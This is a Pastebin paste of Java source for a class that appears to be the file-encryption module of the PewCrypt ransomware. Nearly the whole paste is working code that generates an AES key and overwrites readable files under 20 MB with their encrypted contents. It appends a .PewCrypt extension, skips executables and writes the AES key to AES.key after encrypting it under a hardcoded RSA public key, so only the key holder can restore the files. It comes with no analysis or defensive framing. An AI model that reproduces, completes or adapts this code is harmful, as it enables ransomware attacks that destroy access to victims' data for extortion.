Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.File;
- import java.io.IOException;
- import java.io.PrintStream;
- import java.nio.file.Files;
- import java.nio.file.OpenOption;
- import java.security.GeneralSecurityException;
- import java.security.InvalidKeyException;
- import java.security.Key;
- import java.security.KeyFactory;
- import java.security.NoSuchAlgorithmException;
- import java.security.PublicKey;
- import java.security.SecureRandom;
- import java.security.spec.X509EncodedKeySpec;
- import javax.crypto.BadPaddingException;
- import javax.crypto.Cipher;
- import javax.crypto.IllegalBlockSizeException;
- import javax.crypto.NoSuchPaddingException;
- import javax.crypto.spec.SecretKeySpec;
- public class Crypto
- {
- private final SecureRandom rnd = new SecureRandom();
- private final byte[] RSA_key = { 48, -126, 1, 34, 48, 13, 6, 9, 42, -122, 72, -122,
- -9, 13, 1, 1, 1, 5, 0, 3, -126, 1, 15, 0, 48, -126, 1, 10, 2, -126, 1, 1,
- 0, -45, -124, 73, Byte.MAX_VALUE, 125, 43, -108, Byte.MIN_VALUE, Byte.MIN_VALUE, 6, 36, 39, -36, 47, 57,
- -95, -109, -113, -54, -101, 24, 74, -88, 16, -92, 86,
- -96, 4, 9, 21, -94, -117, -112, -33, 24, 50, 54, 74, 73, 41, -19,
- 58, -42, 50, 88, -63, 83, 7, 120, 118, 114, -93, 6, 89, 94, -47, 65, 90, 56, 16,
- 38, -85, 81, -103, 45, -103, -81, 125, -95, 16, 126, 25, -75,
- -85, 35, 13, -112, -7, 24, -7, 62, -111, -71, -87,
- -39, -27, -114, 116, -12, -115, -108, -77, 26, 114,
- -3, -110, -94, -62, -91, -6, 82, -50, 102, 9, 35, 47, 62,
- 17, -56, Byte.MAX_VALUE, -73, 77, -109, 90, 78, -74, -12, -70, -44, 59,
- 54, -39, -6, -39, -3, -21, 31, -21, -8, -30, 44,
- -38, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, -22, 26, 104, 90, 2, 4, -112, 72, 53,
- -39, -18, 48, -102, 25, 77, 86, 90, -18, 69, -100, -99, -82,
- -11, 66, 107, -73, 91, 72, 55, -60, -93, 125, 121, -64, -74,
- -51, -98, 36, -55, 76, 31, -38, 82, 39, -63, -97, 66, 108, 78, 14,
- 122, -119, -23, -65, 110, -58, 123, -94, -37, -102, 11,
- -33, 88, 119, -48, 37, -99, -69, 60, 79, 64, -72, -22, 52, 104,
- 56, -98, -26, 70, 25, -2, 84, 14, 73, -74, -115, 78, -7, 11,
- -69, 51, -117, 76, 42, -99, -43, 95, 88, 85, 42, 8, 14, -121, -109,
- -8, -67, 50, 117, -103, 23, 0, 38, -98, 63, 2, 3, 1, 01 };
- private final byte[] PASS = new byte[32];
- private Cipher cipher;
- private int cipherMode;
- private String[] IgnoredExtentions = { ".PewCrypt", ".exe", ".jar", ".dll" };
- public Crypto(boolean toEncrypt)
- {
- if (toEncrypt)
- {
- cipherMode = 1;
- }
- else
- {
- cipherMode = 2;
- }
- try
- {
- rnd.nextBytes(PASS);
- Key AES_key = new SecretKeySpec(PASS, "AES");
- cipher = Cipher.getInstance("AES");
- cipher.init(cipherMode, AES_key);
- }
- catch (NoSuchAlgorithmException|NoSuchPaddingException|InvalidKeyException e) {
- System.out.println(e);
- }
- }
- public boolean encrypt_AES_key()
- {
- X509EncodedKeySpec ks = new X509EncodedKeySpec(RSA_key);
- try
- {
- KeyFactory kf = KeyFactory.getInstance("RSA");
- PublicKey pub = kf.generatePublic(ks);
- File kfile = new File("AES.key");
- kfile.createNewFile();
- Cipher cipher = Cipher.getInstance("RSA");
- cipher.init(1, pub);
- byte[] out = cipher.doFinal(PASS);
- Files.write(kfile.toPath(), out, new OpenOption[0]);
- }
- catch (java.security.spec.InvalidKeySpecException|NoSuchAlgorithmException|IOException|NoSuchPaddingException|InvalidKeyException|IllegalBlockSizeException|BadPaddingException e)
- {
- e.printStackTrace();
- return false;
- }
- return true;
- }
- public boolean ProcessFile(String path)
- {
- try {
- File file = new File(path);
- for (String exten : IgnoredExtentions) {
- if (file.getName().contains(exten)) {
- return false;
- }
- }
- if (((file.exists() ? 0 : 1) | (file.canRead() ? 0 : 1) | (file.canWrite() ? 0 : 1) | (file.length() > 20000000L ? 1 : 0)) != 0) {
- return false;
- }
- byte[] fileContent = Files.readAllBytes(file.toPath());
- byte[] outputBytes = cipher.doFinal(fileContent);
- Files.write(file.toPath(), outputBytes, new OpenOption[0]);
- file.renameTo(new File(path + ".PewCrypt"));
- return true;
- }
- catch (IOException|BadPaddingException|IllegalBlockSizeException e)
- {
- System.out.println(e); }
- return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement